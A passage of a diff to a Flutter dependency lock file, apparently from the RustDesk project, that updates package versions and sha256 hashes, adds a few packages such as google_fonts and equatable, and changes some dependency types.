       "source": "hosted",
-      "version": "1.0.0"
+      "version": "1.0.2"
     },
     "dart_style": {
       "dependency": "transitive",
       "description": {
         "name": "dart_style",
-        "sha256": "40ae61a5d43feea6d24bd22c0537a6629db858963b99b4bc1c3db80676f32368",
+        "sha256": "7856d364b589d1f08986e140938578ed36ed948581fbc3bc9aef1805039ac5ab",
         "url": "https://pub.dev"
       },
       "source": "hosted",
-      "version": "2.3.4"
+      "version": "2.3.7"
     },
     "dash_chat_2": {
       "dependency": "direct main",
@@ -385,11 +391,11 @@
       "dependency": "transitive",
       "description": {
         "name": "dbus",
-        "sha256": "365c771ac3b0e58845f39ec6deebc76e3276aa9922b0cc60840712094d9047ac",
+        "sha256": "79e0c23480ff85dc68de79e2cd6334add97e48f7f4865d17686dd6ea81a47e8c",
         "url": "https://pub.dev"
       },
       "source": "hosted",
-      "version": "0.7.10"
+      "version": "0.7.11"
     },
     "debounce_throttle": {
       "dependency": "direct main",
@@ -416,7 +422,7 @@
       "description": {
         "path": ".",
         "ref": "HEAD",
-        "resolved-ref": "4f562ab49d289cfa36bfda7cff12746ec0200033",
+        "resolved-ref": "b47e8385e5a75d38319ad706a64b0ead3108b093",
         "url": "https://github.com/rustdesk-org/rustdesk_desktop_multi_window"
       },
       "source": "git",
@@ -436,11 +442,11 @@
       "dependency": "transitive",
       "description": {
         "name": "device_info_plus_platform_interface",
-        "sha256": "d3b01d5868b50ae571cd1dc6e502fc94d956b665756180f7b16ead09e836fd64",
+        "sha256": "0b04e02b30791224b31969eb1b50d723498f402971bff3630bca2ba839bd1ed2",
         "url": "https://pub.dev"
       },
       "source": "hosted",
-      "version": "7.0.0"
+      "version": "7.0.2"
     },
     "draggable_float_widget": {
       "dependency": "direct main",
@@ -473,6 +479,16 @@
       "source": "git",
       "version": "0.0.1+1"
     },
+    "equatable": {
+      "dependency": "transitive",
+      "description": {
+        "name": "equatable",
+        "sha256": "567c64b3cb4cf82397aac55f4f0cbd3ca20d77c6c03bedbc4ceaddc08904aef7",
+        "url": "https://pub.dev"
+      },
+      "source": "hosted",
+      "version": "2.0.7"
+    },
     "extended_text": {
       "dependency": "direct main",
       "description": {
@@ -487,11 +503,11 @@
       "dependency": "transitive",
       "description": {
         "name": "extended_text_library",
-        "sha256": "55d09098ec56fab0d9a8a68950ca0bbf2efa1327937f7cec6af6dfa066234829",
+        "sha256": "13d99f8a10ead472d5e2cf4770d3d047203fe5054b152e9eb5dc692a71befbba",
         "url": "https://pub.dev"
       },
       "source": "hosted",
-      "version": "12.0.0"
+      "version": "12.0.1"
     },
     "external_path": {
       "dependency": "direct main",
@@ -547,21 +563,21 @@
       "dependency": "transitive",
       "description": {
         "name": "file_selector_linux",
-        "sha256": "045d372bf19b02aeb69cacf8b4009555fb5f6f0b7ad8016e5f46dd1387ddd492",
+        "sha256": "54cbbd957e1156d29548c7d9b9ec0c0ebb6de0a90452198683a7d23aed617a33",
         "url": "https://pub.dev"
       },
       "source": "hosted",
-      "version": "0.9.2+1"
+      "version": "0.9.3+2"
     },
     "file_selector_macos": {
       "dependency": "transitive",
       "description": {
         "name": "file_selector_macos",
-        "sha256": "b15c3da8bd4908b9918111fa486903f5808e388b8d1c559949f584725a6594d6",
+        "sha256": "271ab9986df0c135d45c3cdb6bd0faa5db6f4976d3e4b437cf7d0f258d941bfc",
         "url": "https://pub.dev"
       },
       "source": "hosted",
-      "version": "0.9.3+3"
+      "version": "0.9.4+2"
     },
     "file_selector_platform_interface": {
       "dependency": "transitive",
@@ -577,41 +593,41 @@
       "dependency": "transitive",
       "description": {
         "name": "file_selector_windows",
-        "sha256": "d3547240c20cabf205c7c7f01a50ecdbc413755814d6677f3cb366f04abcead0",
+        "sha256": "320fcfb6f33caa90f0b58380489fc5ac05d99ee94b61aa96ec2bff0ba81d3c2b",
         "url": "https://pub.dev"
       },
       "source": "hosted",
-      "version": "0.9.3+1"
+      "version": "0.9.3+4"
     },
     "fixnum": {
       "dependency": "transitive",
       "description": {
         "name": "fixnum",
-        "sha256": "25517a4deb0c03aa0f32fd12db525856438902d9c16536311e76cdc57b31d7d1",
+        "sha256": "b6dc7065e46c974bc7c5f143080a6764ec7a4be6da1285ececdc37be96de53be",
         "url": "https://pub.dev"
       },
       "source": "hosted",
-      "version": "1.1.0"
+      "version": "1.1.1"
     },
     "flex_color_picker": {
       "dependency": "direct main",
       "description": {
         "name": "flex_color_picker",
-        "sha256": "0871edc170153cfc3de316d30625f40a85daecfa76ce541641f3cc0ec7757cbf",
+        "sha256": "12dc855ae8ef5491f529b1fc52c655f06dcdf4114f1f7fdecafa41eec2ec8d79",
         "url": "https://pub.dev"
       },
       "source": "hosted",
-      "version": "3.3.1"
+      "version": "3.6.0"
     },
     "flex_seed_scheme": {
       "dependency": "transitive",
       "description": {
         "name": "flex_seed_scheme",
-        "sha256": "29c12aba221eb8a368a119685371381f8035011d18de5ba277ad11d7dfb8657f",
+        "sha256": "7639d2c86268eff84a909026eb169f008064af0fb3696a651b24b0fa24a40334",
         "url": "https://pub.dev"
       },
       "source": "hosted",
-      "version": "1.4.0"
+      "version": "3.4.1"
     },
     "flutter": {
       "dependency": "direct main",
@@ -757,7 +773,7 @@
       "version": "2.2.1"
     },
     "flutter_plugin_android_lifecycle": {
-      "dependency": "transitive",
+      "dependency": "direct overridden",
       "description": {
         "name": "flutter_plugin_android_lifecycle",
         "sha256": "b068ffc46f82a55844acfa4fdbb61fad72fa2aef0905548419d97f0f95c456da",
@@ -780,11 +796,11 @@
       "dependency": "direct main",
       "description": {
         "name": "flutter_svg",
-        "sha256": "d39e7f95621fc84376bc0f7d504f05c3a41488c562f4a8ad410569127507402c",
+        "sha256": "d44bf546b13025ec7353091516f6881f1d4c633993cb109c3916c3a0159dadf1",
         "url": "https://pub.dev"
       },
       "source": "hosted",
-      "version": "2.0.9"
+      "version": "2.1.0"
     },
     "flutter_web_plugins": {
       "dependency": "transitive",
@@ -796,24 +812,24 @@
       "dependency": "direct dev",
       "description": {
         "name": "freezed",
-        "sha256": "57247f692f35f068cae297549a46a9a097100685c6780fe67177503eea5ed4e5",
+        "sha256": "44c19278dd9d89292cf46e97dc0c1e52ce03275f40a97c5a348e802a924bf40e",
         "url": "https://pub.dev"
       },
       "source": "hosted",
-      "version": "2.4.7"
+      "version": "2.5.7"
     },
     "freezed_annotation": {
       "dependency": "direct main",
       "description": {
         "name": "freezed_annotation",
-        "sha256": "c3fd9336eb55a38cc1bbd79ab17573113a8deccd0ecbbf926cca3c62803b5c2d",
+        "sha256": "c2e2d632dd9b8a2b7751117abcfc2b4888ecfe181bd9fca7170d9ef02e595fe2",
         "url": "https://pub.dev"
       },
       "source": "hosted",
-      "version": "2.4.1"
+      "version": "2.4.4"
     },
     "frontend_server_client": {
-      "dependency": "direct overridden",
+      "dependency": "transitive",
       "description": {
         "name": "frontend_server_client",
         "sha256": "f64a0333a82f30b0cca061bc3d143813a486dc086b574bfb233b7c1372427694",
@@ -826,61 +842,71 @@
       "dependency": "direct main",
       "description": {
         "name": "get",
-        "sha256": "e4e7335ede17452b391ed3b2ede016545706c01a02292a6c97619705e7d2a85e",
+        "sha256": "c79eeb4339f1f3deffd9ec912f8a923834bec55f7b49c9e882b8fef2c139d425",
         "url": "https://pub.dev"
       },
       "source": "hosted",
-      "version": "4.6.6"
+      "version": "4.7.2"
     },
     "glob": {
       "dependency": "transitive",
       "description": {
         "name": "glob",
-        "sha256": "0e7014b3b7d4dac1ca4d6114f82bf1782ee86745b9b42a92c9289c23d8a0ab63",
+        "sha256": "c3f1ee72c96f8f78935e18aa8cecced9ab132419e8625dc187e1c2408efc20de",
         "url": "https://pub.dev"
       },
       "source": "hosted",
-      "version": "2.1.2"
+      "version": "2.1.3"
+    },
+    "google_fonts": {
+      "dependency": "direct main",
+      "description": {
+        "name": "google_fonts",
+        "sha256": "b1ac0fe2832c9cc95e5e88b57d627c5e68c223b9657f4b96e1487aa9098c7b82",
+        "url": "https://pub.dev"
+      },
+      "source": "hosted",
+      "version": "6.2.1"
     },
     "graphs": {
       "dependency": "transitive",
       "description": {
         "name": "graphs",
-        "sha256": "aedc5a15e78fc65a6e23bcd927f24c64dd995062bcd1ca6eda65a3cff92a4d19",
+        "sha256": "741bbf84165310a68ff28fe9e727332eef1407342fca52759cb21ad8177bb8d0",
         "url": "https://pub.dev"
       },
       "source": "hosted",
-      "version": "2.3.1"
+      "version": "2.3.2"
     },
     "html": {
       "dependency": "transitive",
       "description": {
         "name": "html",
-        "sha256": "3a7812d5bcd2894edf53dfaf8cd640876cf6cef50a8f238745c8b8120ea74d3a",
+        "sha256": "6d1264f2dffa1b1101c25a91dff0dc2daee4c18e87cd8538729773c073dbf602",
         "url": "https://pub.dev"
       },
       "source": "hosted",
-      "version": "0.15.4"
+      "version": "0.15.6"
     },
     "http": {
       "dependency": "direct main",
       "description": {
         "name": "http",
-        "sha256": "a2bbf9d017fcced29139daa8ed2bba4ece450ab222871df93ca9eec6f80c34ba",
+        "sha256": "2c11f3f94c687ee9bad77c171151672986360b2b001d109814ee7140b2cf261b",
         "url": "https://pub.dev"
       },
       "source": "hosted",
-      "version": "1.2.0"
+      "version": "1.4.0"
     },
     "http_multi_server": {
       "dependency": "transitive",
       "description": {
         "name": "http_multi_server",
-        "sha256": "97486f20f9c2f7be8f514851703d0119c3596d14ea63227af6f7a481ef2b2f8b",
+        "sha256": "aa6199f908078bb1c5efb8d8638d4ae191aac11b311132c3ef48ce352fb52ef8",
         "url": "https://pub.dev"
       },
       "source": "hosted",
-      "version": "3.2.1"
+      "version": "3.2.2"
     },
     "http_parser": {
       "dependency": "transitive",
@@ -906,11 +932,11 @@
       "dependency": "direct main",
       "description": {
         "name": "image",
-        "sha256": "4c68bfd5ae83e700b5204c1e74451e7bf3cf750e6843c6e158289cf56bda018e",
+        "sha256": "f31d52537dc417fdcde36088fdf11d191026fd5e4fae742491ebd40e5a8bea7d",
         "url": "https://pub.dev"
       },
       "source": "hosted",
-      "version": "4.1.7"
+      "version": "4.3.0"
     },
     "image_picker": {
       "dependency": "direct main",
@@ -926,61 +952,61 @@
       "dependency": "transitive",
       "description": {
         "name": "image_picker_android",
-        "sha256": "39f2bfe497e495450c81abcd44b62f56c2a36a37a175da7d137b4454977b51b1",
+        "sha256": "82652a75e3dd667a91187769a6a2cc81bd8c111bbead698d8e938d2b63e5e89a",
         "url": "https://pub.dev"
       },
       "source": "hosted",
-      "version": "0.8.9+3"
+      "version": "0.8.12+21"
     },
     "image_picker_for_web": {
       "dependency": "transitive",
       "description": {
         "name": "image_picker_for_web",
-        "sha256": "869fe8a64771b7afbc99fc433a5f7be2fea4d1cb3d7c11a48b6b579eb9c797f0",
+        "sha256": "717eb042ab08c40767684327be06a5d8dbb341fe791d514e4b92c7bbe1b7bb83",
         "url": "https://pub.dev"
       },
       "source": "hosted",
-      "version": "2.2.0"
+      "version": "3.0.6"
     },
     "image_picker_ios": {
       "dependency": "transitive",
       "description": {
         "name": "image_picker_ios",
-        "sha256": "fadafce49e8569257a0cad56d24438a6fa1f0cbd7ee0af9b631f7492818a4ca3",
+        "sha256": "05da758e67bc7839e886b3959848aa6b44ff123ab4b28f67891008afe8ef9100",
         "url": "https://pub.dev"
       },
       "source": "hosted",
-      "version": "0.8.9+1"
+      "version": "0.8.12+2"
     },
     "image_picker_linux": {
       "dependency": "transitive",
       "description": {
         "name": "image_picker_linux",
-        "sha256": "4ed1d9bb36f7cd60aa6e6cd479779cc56a4cb4e4de8f49d487b1aaad831300fa",
+        "sha256": "34a65f6740df08bbbeb0a1abd8e6d32107941fd4868f67a507b25601651022c9",
         "url": "https://pub.dev"
       },
       "source": "hosted",
-      "version": "0.2.1+1"
+      "version": "0.2.1+2"
     },
     "image_picker_macos": {
       "dependency": "transitive",
       "description": {
         "name": "image_picker_macos",
-        "sha256": "3f5ad1e8112a9a6111c46d0b57a7be2286a9a07fc6e1976fdf5be2bd31d4ff62",
+        "sha256": "1b90ebbd9dcf98fb6c1d01427e49a55bd96b5d67b8c67cf955d60a5de74207c1",
         "url": "https://pub.dev"
       },
       "source": "hosted",
-      "version": "0.2.1+1"
+      "version": "0.2.1+2"
     },
     "image_picker_platform_interface": {
       "dependency": "transitive",
       "description": {
         "name": "image_picker_platform_interface",
-        "sha256": "9ec26d410ff46f483c5519c29c02ef0e02e13a543f882b152d4bfd2f06802f80",
+        "sha256": "886d57f0be73c4b140004e78b9f28a8914a09e50c2d816bdd0520051a71236a0",
         "url": "https://pub.dev"
       },
       "source": "hosted",
-      "version": "2.10.0"
+      "version": "2.10.1"
     },
     "image_picker_windows": {
       "dependency": "transitive",
@@ -1006,11 +1032,11 @@
       "dependency": "transitive",
       "description": {
         "name": "io",
-        "sha256": "2ec25704aba361659e10e3e5f5d672068d332fc8ac516421d483a11e5cbd061e",
+        "sha256": "dfd5a80599cf0165756e3181807ed3e77daf6dd4137caaad72d0b7931597650b",
         "url": "https://pub.dev"
       },
       "source": "hosted",
-      "version": "1.0.4"
+      "version": "1.0.5"
     },
     "js": {
       "dependency": "transitive",
@@ -1026,11 +1052,11 @@
       "dependency": "transitive",
       "description": {
         "name": "json_annotation",
-        "sha256": "b10a7b2ff83d83c777edba3c6a0f97045ddadd56c944e1a23a3fdf43a1bf4467",
+        "sha256": "1ce844379ca14835a50d2f019a3099f419082cfdd231cd86a142af94dd5c6bb1",
         "url": "https://pub.dev"
       },
       "source": "hosted",
-      "version": "4.8.1"
+      "version": "4.9.0"
     },
     "lints": {
       "dependency": "transitive",
@@ -1046,21 +1072,31 @@
       "dependency": "transitive",
       "description": {
         "name": "logging",
-        "sha256": "623a88c9594aa774443aa3eb2d41807a48486b5613e67599fb4c41c0ad47c340",
+        "sha256": "c8245ada5f1717ed44271ed1c26b8ce85ca3228fd2ffdb75468ab01979309d61",
         "url": "https://pub.dev"
       },
       "source": "hosted",
-      "version": "1.2.0"
+      "version": "1.3.0"
+    },
+    "macros": {
+      "dependency": "transitive",
+      "description": {
+        "name": "macros",
+        "sha256": "0acaed5d6b7eab89f63350bccd82119e6c602df0f391260d0e32b5e23db79536",
+        "url": "https://pub.dev"
+      },
+      "source": "hosted",
+      "version": "0.1.2-main.4"
     },
     "matcher": {
       "dependency": "transitive",
       "description": {
         "name": "matcher",
-        "sha256": "d2323aa2060500f906aa31a895b4030b6da3ebdcc5619d14ce1aada65cd161cb",
+        "sha256": "dc58c723c3c24bf8d3e2d3ad3f2f9d7bd9cf43ec6feaa64181775e60190153f2",
         "url": "https://pub.dev"
       },
       "source": "hosted",
-      "version": "0.12.16+1"
+      "version": "0.12.17"
     },
     "material_color_utilities": {
       "dependency": "transitive",
@@ -1086,11 +1122,11 @@
       "dependency": "transitive",
       "description": {
         "name": "mime",
-        "sha256": "2e123074287cc9fd6c09de8336dae606d1ddb88d9ac47358826db698c176a1f2",
+        "sha256": "41a20518f0cb1256669420fdba0cd90d21561e560ac240f26ef8322e45bb7ed6",
         "url": "https://pub.dev"
       },
       "source": "hosted",
-      "version": "1.0.5"
+      "version": "2.0.0"
     },
     "nested": {
       "dependency": "transitive",
@@ -1106,21 +1142,21 @@
       "dependency": "transitive",
       "description": {
         "name": "octo_image",
-        "sha256": "45b40f99622f11901238e18d48f5f12ea36426d8eced9f4cbf58479c7aa2430d",
+        "sha256": "34faa6639a78c7e3cbe79be6f9f96535867e879748ade7d17c9b1ae7536293bd",
         "url": "https://pub.dev"
       },
       "source": "hosted",
-      "version": "2.0.0"
+      "version": "2.1.0"
     },
     "package_config": {
       "dependency": "transitive",
       "description": {
         "name": "package_config",
-        "sha256": "1c5b77ccc91e4823a5af61ee74e6b972db1ef98c2ff5a18d3161c982a55448bd",
+        "sha256": "f096c55ebb7deb7e384101542bfba8c52696c1b56fca2eb62827989ef2353bbc",
         "url": "https://pub.dev"
       },
       "source": "hosted",
-      "version": "2.1.0"
+      "version": "2.2.0"
     },
     "package_info_plus": {
       "dependency": "direct main",
@@ -1166,41 +1202,41 @@
       "dependency": "transitive",
       "description": {
         "name": "path_parsing",
-        "sha256": "e3e67b1629e6f7e8100b367d3db6ba6af4b1f0bb80f64db18ef1fbabd2fa9ccf",
+        "sha256": "883402936929eac138ee0a45da5b0f2c80f89913e6dc3bf77eb65b84b409c6ca",
         "url": "https://pub.dev"
       },
       "source": "hosted",
-      "version": "1.0.1"
+      "version": "1.1.0"
     },
     "path_provider": {
       "dependency": "direct main",
       "description": {
         "name": "path_provider",
-        "sha256": "b27217933eeeba8ff24845c34003b003b2b22151de3c908d0e679e8fe1aa078b",
+        "sha256": "50c5dd5b6e1aaf6fb3a78b33f6aa3afca52bf903a8a5298f53101fdaee55bbcd",
         "url": "https://pub.dev"
       },
       "source": "hosted",
-      "version": "2.1.2"
+      "version": "2.1.5"
     },
     "path_provider_android": {
       "dependency": "transitive",
       "description": {
         "name": "path_provider_android",
-        "sha256": "477184d672607c0a3bf68fbbf601805f92ef79c82b64b4d6eb318cbca4c48668",
+        "sha256": "4adf4fd5423ec60a29506c76581bc05854c55e3a0b72d35bb28d661c9686edf2",
         "url": "https://pub.dev"
       },
       "source": "hosted",
-      "version": "2.2.2"
+      "version": "2.2.15"
     },
     "path_provider_foundation": {
       "dependency": "transitive",
       "description": {
         "name": "path_provider_foundation",
-        "sha256": "5a7999be66e000916500be4f15a3633ebceb8302719b47b9cc49ce924125350f",
+        "sha256": "4843174df4d288f5e29185bd6e72a6fbdf5a4a4602717eed565497429f179942",
         "url": "https://pub.dev"
       },
       "source": "hosted",
-      "version": "2.3.2"
+      "version": "2.4.1"
     },
     "path_provider_linux": {
       "dependency": "transitive",
@@ -1226,11 +1262,11 @@
       "dependency": "transitive",
       "description": {
         "name": "path_provider_windows",
-        "sha256": "8bc9f22eee8690981c22aa7fc602f5c85b497a6fb2ceb35ee5a5e5ed85ad8170",
+        "sha256": "bd6f00dbd873bfb70d0761682da2b3a2c2fccc2b9e84c495821639601d81afe7",
         "url": "https://pub.dev"
       },
       "source": "hosted",
-      "version": "2.2.1"
+      "version": "2.3.0"
     },
     "pedantic": {
       "dependency": "transitive",
@@ -1246,11 +1282,11 @@
       "dependency": "direct main",
       "description": {
         "name": "percent_indicator",
-        "sha256": "c37099ad833a883c9d71782321cb65c3a848c21b6939b6185f0ff6640d05814c",
+        "sha256": "157d29133bbc6ecb11f923d36e7960a96a3f28837549a20b65e5135729f0f9fd",
         "url": "https://pub.dev"
       },
       "source": "hosted",
-      "version": "4.2.3"
+      "version": "4.2.5"
     },
     "petitparser": {
       "dependency": "transitive",
@@ -1266,11 +1302,11 @@
       "dependency": "transitive",
       "description": {
         "name": "platform",
-        "sha256": "12220bb4b65720483f8fa9450b4332347737cf8213dd2840d8b2c823e47243ec",
+        "sha256": "5d6b1b0036a5f331ebc77c850ebc8506cbc1e9416c27e59b439f917a902a4984",
         "url": "https://pub.dev"
       },
       "source": "hosted",
-      "version": "3.1.4"
+      "version": "3.1.6"
     },
     "plugin_platform_interface": {
       "dependency": "transitive",
@@ -1296,61 +1332,61 @@
       "dependency": "direct main",
       "description": {
         "name": "provider",
-        "sha256": "9a96a0a19b594dbc5bf0f1f27d2bc67d5f95957359b461cd9feb44ed6ae75096",
+        "sha256": "4abbd070a04e9ddc287673bf5a030c7ca8b685ff70218720abab8b092f53dd84",
         "url": "https://pub.dev"
       },
       "source": "hosted",
-      "version": "6.1.1"
+      "version": "6.1.5"
     },
     "pub_semver": {
       "dependency": "transitive",
       "description": {
         "name": "pub_semver",
-        "sha256": "40d3ab1bbd474c4c2328c91e3a7df8c6dd629b79ece4c4bd04bee496a224fb0c",
+        "sha256": "5bfcf68ca79ef689f8990d1160781b4bad40a3bd5e5218ad4076ddb7f4081585",
         "url": "https://pub.dev"
       },
       "source": "hosted",
-      "version": "2.1.4"
+      "version": "2.2.0"
     },
     "pubspec_parse": {
       "dependency": "transitive",
       "description": {
         "name": "pubspec_parse",
-        "sha256": "c63b2876e58e194e4b0828fcb080ad0e06d051cb607a6be51a9e084f47cb9367",
+        "sha256": "81876843eb50dc2e1e5b151792c9a985c5ed2536914115ed04e9c8528f6647b0",
         "url": "https://pub.dev"
       },
       "source": "hosted",
-      "version": "1.2.3"
+      "version": "1.4.0"
     },
     "pull_down_button": {
       "dependency": "direct main",
       "description": {
         "name": "pull_down_button",
-        "sha256": "235b302701ce029fd9e9470975069376a6700935bb47a5f1b3ec8a5efba07e6f",
+        "sha256": "48b928203afdeafa4a8be5dc96980523bc8a2ddbd04569f766071a722be22379",
         "url": "https://pub.dev"
       },
       "source": "hosted",
-      "version": "0.9.3"
+      "version": "0.9.4"
     },
     "puppeteer": {
       "dependency": "transitive",
       "description": {
         "name": "puppeteer",
-        "sha256": "eedeaae6ec5d2e54f9ae22ab4d6b3dda2e8791c356cc783046d06c287ffe11d8",
+        "sha256": "7a990c68d33882b642214c351f66492d9a738afa4226a098ab70642357337fa2",
         "url": "https://pub.dev"
       },
       "source": "hosted",
-      "version": "3.6.0"
+      "version": "3.16.0"
     },
     "qr": {
       "dependency": "transitive",
       "description": {
         "name": "qr",
-        "sha256": "64957a3930367bf97cc211a5af99551d630f2f4625e38af10edd6b19131b64b3",
+        "sha256": "5a1d2586170e172b8a8c8470bbbffd5eb0cd38a66c0d77155ea138d3af3a4445",
         "url": "https://pub.dev"
       },
       "source": "hosted",
-      "version": "3.0.1"
+      "version": "3.0.2"
     },
     "qr_code_scanner": {
       "dependency": "direct main",
@@ -1376,11 +1412,11 @@
       "dependency": "transitive",
       "description": {
         "name": "quiver",
-        "sha256": "b1c1ac5ce6688d77f65f3375a9abb9319b3cb32486bdc7a1e0fdf004d7ba4e47",
+        "sha256": "ea0b925899e64ecdfbf9c7becb60d5b50e706ade44a85b2363be2a22d88117d2",
         "url": "https://pub.dev"
       },
       "source": "hosted",
-      "version": "3.2.1"
+      "version": "3.2.2"
     },
     "rxdart": {
       "dependency": "transitive",
@@ -1436,11 +1472,11 @@
       "dependency": "transitive",
       "description": {
         "name": "shelf_static",
-        "sha256": "a41d3f53c4adf0f57480578c1d61d90342cd617de7fc8077b1304643c2d85c1e",
+        "sha256": "c87c3875f91262785dade62d135760c2c69cb217ac759485334c5857ad89f6e3",
         "url": "https://pub.dev"
       },
       "source": "hosted",
-      "version": "1.1.2"
+      "version": "1.1.3"
     },
     "shelf_web_socket": {
       "dependency": "transitive",
@@ -1482,101 +1518,101 @@
       "dependency": "transitive",
       "description": {
         "name": "source_span",
-        "sha256": "53e943d4206a5e30df338fd4c6e7a077e02254531b138a15aec3bd143c1a8b3c",
+        "sha256": "254ee5351d6cb365c859e20ee823c3bb479bf4a293c22d17a9f1bf144ce86f7c",
         "url": "https://pub.dev"
       },
       "source": "hosted",
-      "version": "1.10.0"
+      "version": "1.10.1"
     },
     "sqflite": {
-      "dependency": "transitive",
+      "dependency": "direct main",
       "description": {
         "name": "sqflite",
-        "sha256": "a9016f495c927cb90557c909ff26a6d92d9bd54fc42ba92e19d4e79d61e798c6",
+        "sha256": "a9a8c6dfdf315f87f2a23a7bad2b60c8d5af0f88a5fde92cf9205202770c2753",
         "url": "https://pub.dev"
       },
       "source": "hosted",
-      "version": "2.3.2"
+      "version": "2.2.0"
     },
     "sqflite_common": {
       "dependency": "transitive",
       "description": {
         "name": "sqflite_common",
-        "sha256": "28d8c66baee4968519fb8bd6cdbedad982d6e53359091f0b74544a9f32ec72d5",
+        "sha256": "761b9740ecbd4d3e66b8916d784e581861fd3c3553eda85e167bc49fdb68f709",
         "url": "https://pub.dev"
       },
       "source": "hosted",
-      "version": "2.5.3"
+      "version": "2.5.4+6"
     },
     "stack_trace": {
       "dependency": "transitive",
       "description": {
         "name": "stack_trace",
-        "sha256": "73713990125a6d93122541237550ee3352a2d84baad52d375a4cad2eb9b7ce0b",
+        "sha256": "8b27215b45d22309b5cddda1aa2b19bdfec9df0e765f2de506401c071d38d1b1",
         "url": "https://pub.dev"
       },
       "source": "hosted",
-      "version": "1.11.1"
+      "version": "1.12.1"
     },
     "stream_channel": {
       "dependency": "transitive",
       "description": {
         "name": "stream_channel",
-        "sha256": "ba2aa5d8cc609d96bbb2899c28934f9e1af5cddbd60a827822ea467161eb54e7",
+        "sha256": "969e04c80b8bcdf826f8f16579c7b14d780458bd97f56d107d3950fdbeef059d",
         "url": "https://pub.dev"
       },
       "source": "hosted",
-      "version": "2.1.2"
+      "version": "2.1.4"
     },
     "stream_transform": {
       "dependency": "transitive",
       "description": {
         "name": "stream_transform",
-        "sha256": "14a00e794c7c11aa145a170587321aedce29769c08d7f58b1d141da75e3b1c6f",
+        "sha256": "ad47125e588cfd37a9a7f86c7d6356dde8dfe89d071d293f80ca9e9273a33871",
         "url": "https://pub.dev"
       },
       "source": "hosted",
-      "version": "2.1.0"
+      "version": "2.1.1"
     },
     "string_scanner": {
       "dependency": "transitive",
       "description": {
         "name": "string_scanner",
-        "sha256": "556692adab6cfa87322a115640c11f13cb77b3f076ddcc5d6ae3c20242bedcde",
+        "sha256": "921cd31725b72fe181906c6a94d987c78e3b98c2e205b397ea399d4054872b43",
         "url": "https://pub.dev"
       },
       "source": "hosted",
-      "version": "1.2.0"
+      "version": "1.4.1"
     },
     "synchronized": {
       "dependency": "transitive",
       "description": {
         "name": "synchronized",
-        "sha256": "539ef412b170d65ecdafd780f924e5be3f60032a1128df156adad6c5b373d558",
+        "sha256": "69fe30f3a8b04a0be0c15ae6490fc859a78ef4c43ae2dd5e8a623d45bfcf9225",
         "url": "https://pub.dev"
       },
       "source": "hosted",
-      "version": "3.1.0+1"
+      "version": "3.3.0+3"
     },
     "term_glyph": {
       "dependency": "transitive",
       "description": {
         "name": "term_glyph",
-        "sha256": "a29248a84fbb7c79282b40b8c72a1209db169a2e0542bce341da992fe1bc7e84",
+        "sha256": "7f554798625ea768a7518313e58f83891c7f5024f88e46e7182a4558850a4b8e",
         "url": "https://pub.dev"
       },
       "source": "hosted",
-      "version": "1.2.1"
+      "version": "1.2.2"
     },
     "test_api": {
       "dependency": "transitive",
       "description": {
         "name": "test_api",
-        "sha256": "9955ae474176f7ac8ee4e989dadfb411a58c30415bcfb648fa04b2b8a03afa7f",
+        "sha256": "522f00f556e73044315fa4585ec3270f1808a4b186c936e612cab0b565ff1e00",
         "url": "https://pub.dev"
       },
       "source": "hosted",
-      "version": "0.7.0"
+      "version": "0.7.6"
     },
     "texture_rgba_renderer": {
       "dependency": "direct main",
@@ -1593,21 +1629,21 @@
       "dependency": "transitive",
       "description": {
         "name": "timing",
-        "sha256": "70a3b636575d4163c477e6de42f247a23b315ae20e86442bebe32d3cabf61c32",
+        "sha256": "62ee18aca144e4a9f29d212f5a4c6a053be252b895ab14b5821996cff4ed90fe",
         "url": "https://pub.dev"
       },
       "source": "hosted",
-      "version": "1.0.1"
+      "version": "1.0.2"
     },
     "toggle_switch": {
       "dependency": "direct main",
       "description": {
         "name": "toggle_switch",
-        "sha256": "9e6af1f0c5a97d9de41109dc7b9e1b3bbe73417f89b10e0e44dc834fb493d4cb",
+        "sha256": "dca04512d7c23ed320d6c5ede1211a404f177d54d353bf785b07d15546a86ce5",
         "url": "https://pub.dev"
       },
       "source": "hosted",
-      "version": "2.1.0"
+      "version": "2.3.0"
     },
     "tuple": {
       "dependency": "direct main",
@@ -1623,11 +1659,11 @@
       "dependency": "transitive",
       "description": {
         "name": "typed_data",
-        "sha256": "facc8d6582f16042dd49f2463ff1bd6e2c9ef9f3d5da3d9b087e244a7b564b3c",
+        "sha256": "f9049c039ebfeb4cf7a7104a675823cd72dba8297f264b6637062516699fa006",
         "url": "https://pub.dev"
       },
       "source": "hosted",
-      "version": "1.3.2"
+      "version": "1.4.0"
     },
     "uni_links": {
       "dependency": "direct main",
@@ -1704,61 +1740,61 @@
       "dependency": "direct main",
       "description": {
         "name": "url_launcher_ios",
-        "sha256": "16a513b6c12bb419304e72ea0ae2ab4fed569920d1c7cb850263fe3acc824626",
+        "sha256": "7f2022359d4c099eea7df3fdf739f7d3d3b9faf3166fb1dd390775176e0b76cb",
         "url": "https://pub.dev"
       },
       "source": "hosted",
-      "version": "6.3.2"
+      "version": "6.3.3"
     },
     "url_launcher_linux": {
       "dependency": "transitive",
       "description": {
         "name": "url_launcher_linux",
-        "sha256": "ab360eb661f8879369acac07b6bb3ff09d9471155357da8443fd5d3cf7363811",
+        "sha256": "4e9ba368772369e3e08f231d2301b4ef72b9ff87c31192ef471b380ef29a4935",
         "url": "https://pub.dev"
       },
       "source": "hosted",
-      "version": "3.1.1"
+      "version": "3.2.1"
     },
     "url_launcher_macos": {
       "dependency": "transitive",
       "description": {
         "name": "url_launcher_macos",
-        "sha256": "b7244901ea3cf489c5335bdacda07264a6e960b1c1b1a9f91e4bc371d9e68234",
+        "sha256": "17ba2000b847f334f16626a574c702b196723af2a289e7a93ffcb79acff855c2",
         "url": "https://pub.dev"
       },
       "source": "hosted",
-      "version": "3.1.0"
+      "version": "3.2.2"
     },
     "url_launcher_platform_interface": {
       "dependency": "transitive",
       "description": {
         "name": "url_launcher_platform_interface",
-        "sha256": "a932c3a8082e118f80a475ce692fde89dc20fddb24c57360b96bc56f7035de1f",
+        "sha256": "552f8a1e663569be95a8190206a38187b531910283c3e982193e4f2733f01029",
         "url": "https://pub.dev"
       },
       "source": "hosted",
-      "version": "2.3.1"
+      "version": "2.3.2"
     },
     "url_launcher_web": {
       "dependency": "transitive",
       "description": {
         "name": "url_launcher_web",
-        "sha256": "fff0932192afeedf63cdd50ecbb1bc825d31aed259f02bb8dba0f3b729a5e88b",
+        "sha256": "772638d3b34c779ede05ba3d38af34657a05ac55b06279ea6edd409e323dca8e",
         "url": "https://pub.dev"
       },
       "source": "hosted",
-      "version": "2.2.3"
+      "version": "2.3.3"
     },
     "url_launcher_windows": {
